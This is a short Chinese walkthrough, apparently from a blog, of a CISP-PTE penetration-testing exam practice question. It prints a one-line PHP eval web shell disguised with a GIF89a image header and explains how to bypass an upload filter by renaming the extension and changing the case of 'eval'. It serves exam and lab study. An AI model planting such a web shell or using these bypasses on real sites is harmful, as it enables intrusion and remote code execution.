CISP-PTE实操练习讲解

前言

这次给大家讲解一下考试的各个题型

这道题就很简单，上传一个木马进行蚁剑连接就可以了
在这里插入图片描述
答案就在key.php文件中

我们创建一个文件，注入一段一句话木马，改成zhi.jpg文件上传
GIF89a?

<?php @eval($_POST['chopper']); ?>

写GIF89a?这个的目的是为了证明是图片文件
在这里插入图片描述
上传之后进行抓包重发即可，但是要修改后缀名为.php,且要修改为大小写绕过，就是将eval改为Eval就可以了<